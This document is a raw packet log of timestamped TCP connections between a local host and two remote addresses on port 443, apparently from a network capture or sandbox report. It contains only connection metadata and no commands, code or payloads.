Nov 23, 2024 15:38:38.692410946 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.692965984 CET	49945	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.692979097 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.693442106 CET	49945	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.693445921 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.734826088 CET	443	49943	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.734843016 CET	443	49943	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.734934092 CET	49943	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.734942913 CET	443	49943	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.735239983 CET	49943	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.735244989 CET	443	49943	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.735260010 CET	49943	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.735388041 CET	443	49943	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.735419035 CET	443	49943	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.735461950 CET	49943	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.738275051 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.738291025 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.738357067 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.738518953 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.738523006 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.917586088 CET	443	49944	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.920733929 CET	443	49944	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.920772076 CET	443	49944	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.920799017 CET	49944	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.920846939 CET	49944	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.936906099 CET	443	49946	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.976453066 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.987579107 CET	49944	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.987605095 CET	443	49944	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:38.987642050 CET	49944	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:38.987648010 CET	443	49944	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.098767042 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.098792076 CET	443	49946	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.102240086 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.102247000 CET	443	49946	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.134493113 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.134537935 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.134612083 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.135256052 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.135271072 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.136071920 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.139770985 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.139816999 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.139822006 CET	49945	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.139868975 CET	49945	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.140997887 CET	49945	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.141006947 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.141015053 CET	49945	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.141019106 CET	443	49945	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.144685030 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.144716024 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.144778013 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.144912958 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.144923925 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.431171894 CET	443	49946	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.434252024 CET	443	49946	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.434434891 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.434434891 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.434436083 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.437591076 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.437630892 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.437727928 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.437912941 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.437923908 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.729125023 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.729769945 CET	49947	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.729787111 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.730285883 CET	49947	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.730290890 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:39.742055893 CET	49946	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:39.742078066 CET	443	49946	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.207859993 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.210882902 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.213397026 CET	49947	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.213462114 CET	49947	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.213470936 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.213481903 CET	49947	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.213485956 CET	443	49947	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.216492891 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.216531038 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.216681957 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.216779947 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.216792107 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.478082895 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:40.478125095 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:40.478231907 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:40.478497982 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:40.478508949 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:40.526397943 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.527012110 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.527020931 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.527527094 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.527530909 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.867255926 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.869848967 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.869875908 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.870392084 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.870398998 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.975846052 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.979140997 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.980318069 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.980401039 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.980442047 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.980458021 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.980468988 CET	49948	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.980473995 CET	443	49948	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.980906963 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.980926991 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.981482029 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.981487036 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.983614922 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.983666897 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:40.983741999 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.983890057 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:40.983908892 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.291815042 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.293976068 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.293987036 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.294372082 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.294377089 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.302349091 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.305370092 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.309489012 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.309489012 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.309489012 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.312063932 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.312077999 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.312145948 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.312448978 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.312455893 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.435800076 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.438976049 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.439018011 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.439234972 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.439379930 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.439400911 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.439414024 CET	49949	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.439420938 CET	443	49949	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.442312956 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.442365885 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.442476988 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.442617893 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.442637920 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.616029978 CET	49950	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.616049051 CET	443	49950	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.744811058 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.747853041 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.747900963 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.747910023 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.747925043 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.747972965 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.748013973 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.748023987 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.748034000 CET	49951	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.748039007 CET	443	49951	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.750989914 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.751015902 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:41.751091003 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.751247883 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:41.751259089 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.003346920 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.003968000 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.003978968 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.004477978 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.004482031 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.179810047 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:42.180260897 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:42.180295944 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:42.181390047 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:42.181785107 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:42.181958914 CET	443	49953	172.217.21.36	192.168.2.5
Nov 23, 2024 15:38:42.225457907 CET	49953	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:38:42.449377060 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.452367067 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.452450991 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.452522993 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.452542067 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.452552080 CET	49952	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.452558041 CET	443	49952	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.455744028 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.455785990 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.455872059 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.456079006 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.456094980 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.702678919 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.703382015 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.703407049 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:42.703958988 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:42.703964949 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.039144993 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.039700031 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.039711952 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.040201902 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.040206909 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.137795925 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.141238928 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.141275883 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.141345978 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.141395092 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.141606092 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.141627073 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.141635895 CET	49954	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.141644001 CET	443	49954	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.144568920 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.144587994 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.144695997 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.144860983 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.144870043 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.155435085 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.157718897 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.157735109 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.158173084 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.158180952 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.477547884 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.480531931 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.480772972 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.480772972 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.480772972 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.483880043 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.483932972 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.484004974 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.484155893 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.484173059 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.510649920 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.511185884 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.511197090 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.511567116 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.511570930 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.589592934 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.593424082 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.593482971 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.593539000 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.593556881 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.593569994 CET	49956	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.593576908 CET	443	49956	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.596792936 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.596803904 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.596896887 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.597028971 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.597038031 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.791744947 CET	49955	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.791754007 CET	443	49955	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.945812941 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.948865891 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.948961020 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.949003935 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.949011087 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.949021101 CET	49957	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.949027061 CET	443	49957	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.951759100 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.951796055 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:43.951868057 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.952017069 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:43.952030897 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.310334921 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.310889006 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.310906887 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.311388969 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.311394930 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.753084898 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.756704092 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.756797075 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.756885052 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.756906986 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.756917000 CET	49958	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.756922960 CET	443	49958	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.759838104 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.759871006 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.760063887 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.760241032 CET	49963	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.760298967 CET	443	49963	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.933638096 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.934173107 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.934185982 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:44.934679031 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:44.934683084 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.210016012 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.210896015 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.210930109 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.211368084 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.211374044 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.317384005 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.318058968 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.318072081 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.318547010 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.318550110 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.385610104 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.388634920 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.388783932 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.388829947 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.388837099 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.388847113 CET	49959	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.388855934 CET	443	49959	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.392752886 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.392824888 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.392930984 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.393101931 CET	49964	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.393131971 CET	443	49964	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.656692028 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.659676075 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.659781933 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.659883976 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.659883976 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.659929037 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.659929037 CET	49960	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.659948111 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.659955978 CET	443	49960	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.663244963 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.663279057 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.663381100 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.663614988 CET	49965	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.663630962 CET	443	49965	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.753263950 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.754206896 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.754230022 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.754708052 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.754713058 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.767102003 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.767149925 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.767301083 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.767606020 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.767616987 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.767633915 CET	49961	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.767637968 CET	443	49961	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.770741940 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.770817041 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:45.770932913 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.771095991 CET	49966	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:45.771145105 CET	443	49966	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.200084925 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.203587055 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.203646898 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.203706026 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.203846931 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.204044104 CET	49962	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.204056025 CET	443	49962	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.207338095 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.207371950 CET	443	49967	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:46.207453966 CET	49967	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:46.207617044 CET	49967	443	192.168.2.5	13.107.246.63
